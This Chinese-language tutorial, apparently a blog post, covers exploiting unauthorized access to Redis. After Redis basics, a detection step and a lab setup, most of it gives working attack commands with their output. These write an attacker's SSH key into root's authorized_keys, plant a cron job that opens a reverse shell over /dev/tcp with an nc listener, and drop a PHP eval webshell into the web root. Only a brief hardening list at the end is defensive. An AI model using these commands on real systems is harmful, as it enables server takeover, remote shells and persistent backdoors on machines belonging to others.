Redis未授权漏洞检测方法+Redis基础+Redis环境搭建+Redis恶意利用
- 前言
- 一、Redis命令基础
- 二、Redis漏洞未授权挖掘
- 二、Redis环境搭建与概述
- 1)环境概述
- 2)环境搭建
- 三、漏洞利用
- 1)未授权漏洞利用说明
- 2)root权限漏洞利用
- 1、创建ssh公匙
- 2、创建一个O8.txt密匙
- 3、清除Redis所有数据
- 4、 Redis创建恶意key
- 5、修改Redis路径
- 6、攻击机写入
- 3)20200927新增定时任务反弹shell
- 4)低权限漏洞利用
- 四、漏洞加固
- 参考文献
前言
Redis是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
文章只作为信息爱好者复现并加固漏洞,切勿做非法攻击,产生一切后果与本作者无关!
一、Redis命令基础
登录Redis:./redis-cli -h 127.0.0.1
查看Redis版本信息:./redis-cli -h 127.0.0.1 info | grep 'redis_version'
添加键:set O8 shuaibi
查看键值:get O8
查看有多少数据:DBSIZE
清除所有键:FLUSHALL
设置路径:CONFIG set dir /home
查看路径::CONFIG GET dir
二、Redis漏洞未授权挖掘
Redis是Key-Value数据库,当存在未授权访问时,如果是以root权限运行Redis可以直接拿下目标服务器控制权限,如果是低权限且知道网站运行路径时可以getshell。
Redis默认运行端口是6379。
检测是否有未授权访问:telnet 目标IP 6379
出现这一堆说明不存在未授权漏洞
出现这种,尝试下是否解析字符串
先随便输入点啥回车
然后输入echo "O8???"回车
发现被解析了,这个时候已经确定有redis未授权访问漏洞了,那么我们继续深入。
输入quit退出
二、Redis环境搭建与概述
1)环境概述
被攻击服务器
操作系统:kali
运行组件:redis4.0服务
ip地址:192.168.29.129
攻击机
操作系统:kali
运行组件:redis4.0客户端
ip地址:192.168.29.130
2)环境搭建
说明:被攻击服务器需要搭建redis服务,攻击机由于需要连接redis,所以也要安装redis
cd /
wget download.redis.io/releases/redis-4.0.11.tar.gz
tar zxf redis-4.0.11.tar.gz
cd redis-4.0.11
make PREFIX=/usr/local/redis install
检查安装是否有问题
make test
如果报错了:
yum -y install tcl
将源码中redis.conf拷贝到/usr/local/redis目录
cp /redis-4.0.11/redis.conf /usr/local/redis
修改redis.conf中“daemonize no”为“daemonize yes”,表示redis以后台的方式启动
cd /usr/local/redis
vi redis.conf
修改 “daemonize no”为“daemonize yes”
被攻击服务器需要多修改这两个:
修改 “bind 127.0.0.1”为“#bind 127.0.0.1”
修改 “protected-mode yes”为“protected-mode no”
服务器后台启动
/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
查看进程
ps -ef| grep redis
测试:
/usr/local/redis/bin/redis-cli
记得两台机器都要装一遍。
三、漏洞利用
1)未授权漏洞利用说明
root权限:可以直接写入ssh公匙进行接管服务器。
低权限:网站运行web服务且知道绝对路径可以getshell。
192.168.29.129开启Redis服务:
/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
2)root权限漏洞利用
攻击机:192.168.29.130
1、创建ssh公匙
ssh-keygen -t rsa -C "aaa@163.com"
需要把这个公钥复制到目标机器
2、创建一个O8.txt密匙
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > O8.txt
3、清除Redis所有数据
root@solitary:/redis-4.0.11/src# cd /redis-4.0.11/src/
root@solitary:/redis-4.0.11/src# ./redis-cli -h 192.168.29.129 flushall
OK
4、 Redis创建恶意key
root@solitary:/redis-4.0.11/src# cat /root/.ssh/O8.txt | ./redis-cli -h 192.168.29.129 -x set O8
OK
查看创建的key的键内容:
root@solitary:/redis-4.0.11/src# ./redis-cli -h 192.168.29.129
192.168.29.129:6379> GET O8
5、修改Redis路径
192.168.29.129:6379> CONFIG SET dir /root/.ssh/
OK
192.168.29.129:6379> CONFIG SET dir /usr/local/redis
OK
192.168.29.129:6379> CONFIG GET dir
1) "dir"
2) "/usr/local/redis"
192.168.29.129:6379> CONFIG SET dir /root/.ssh/
OK
192.168.29.129:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"
如果报(error) ERR Changing directory: No such file or directory错误
需要在Redis服务器192.168.29.129的root目录下创建.ssh目录
root@kali:~# cd /root
root@kali:~# mkdir .ssh
6、攻击机写入
192.168.29.129:6379> config set dbfilename "authorized_keys"
OK
192.168.29.129:6379> save
OK
尝试登录被攻击服务器
root@solitary:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.29.130 netmask 255.255.255.0 broadcast 192.168.29.255
inet6 fe80::20c:29ff:fe8a:7070 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:8a:70:70 txqueuelen 1000 (Ethernet)
RX packets 36077 bytes 33249632 (31.7 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10859 bytes 873271 (852.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
尝试登录:
root@solitary:~# ssh -i /root/.ssh/id_rsa root@192.168.29.129
Linux kali 4.17.0-kali1-amd64 #1 SMP Debian 4.17.8-1kali1 (2018-07-24) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 23 16:37:54 2019 from 192.168.29.129
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.29.129 netmask 255.255.255.0 broadcast 192.168.29.255
inet6 fe80::250:56ff:fe38:3822 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:38:38:22 txqueuelen 1000 (Ethernet)
RX packets 5744 bytes 2165519 (2.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2797 bytes 257430 (251.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
device interrupt 19 base 0x2000
查看Redis服务器192.168.29.129被写入的公匙
root@kali:/home# cd /root/.ssh/
root@kali:~/.ssh# cat authorized_keys
如果提示连接端口未开启或者连接拒绝,需要在被攻击服务器上开启ssh服务
修改sshd_config:
vi /etc/ssh/sshd_config
将"#PasswordAuthentication no"修改为"PasswordAuthentication YES" //默认YES
将"#Port 22"修改"Port 22"
将"#PermitRootLogin yes"修改"PermitRootLogin yes"
保存后启动服务:
service ssh start
3)20200927新增定时任务反弹shell
[root@security-log ~]# redis-cli -h IP -a passwd
IP:6379> get key
(*****)
IP:6379> config set dir /var/spool/cron
OK
IP:6379> set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n\n"
OK
IP:6379> config set dbfilename root
OK
IP:6379> save
监听:
[root@security-log ~]# nc -lvnp 8787
4)低权限漏洞利用
当 redis 权限不高时,并且服务器开着 web 服务,在 redis 有 web 目录写权限时,可以尝试往 web 路径写 webshell。
root@solitary:/redis-4.0.11/src# ./redis-cli -h 192.168.29.129 flushall
OK
root@solitary:/redis-4.0.11/src# ./redis-cli -h 192.168.29.129
192.168.29.129:6379> config set dir /var/www/html/
OK
192.168.29.129:6379> config set dbfilename shell.php
OK
192.168.29.129:6379> set x "<?php @eval($_POST['O8']);?>"
OK
192.168.29.129:6379> save
OK
192.168.29.129上查看shell
root@kali:/var/www/html# ls
index.html index.nginx-debian.html O8.php shell.php
root@kali:/var/www/html# cat shell.php
四、漏洞加固
1.修改bind参数,将服务器绑定到127.0.0.1上;
2.修改port参数,监听端口改成其他端口号;
3.修改requirepass参数,设置一个复杂的密码;
4.通过rename-command修改config命令的名字,如修改为空字符串""表示禁用config命令;
5.不要以root用户启动redis-server进程。
6.ssh等服务尽量不要对外开放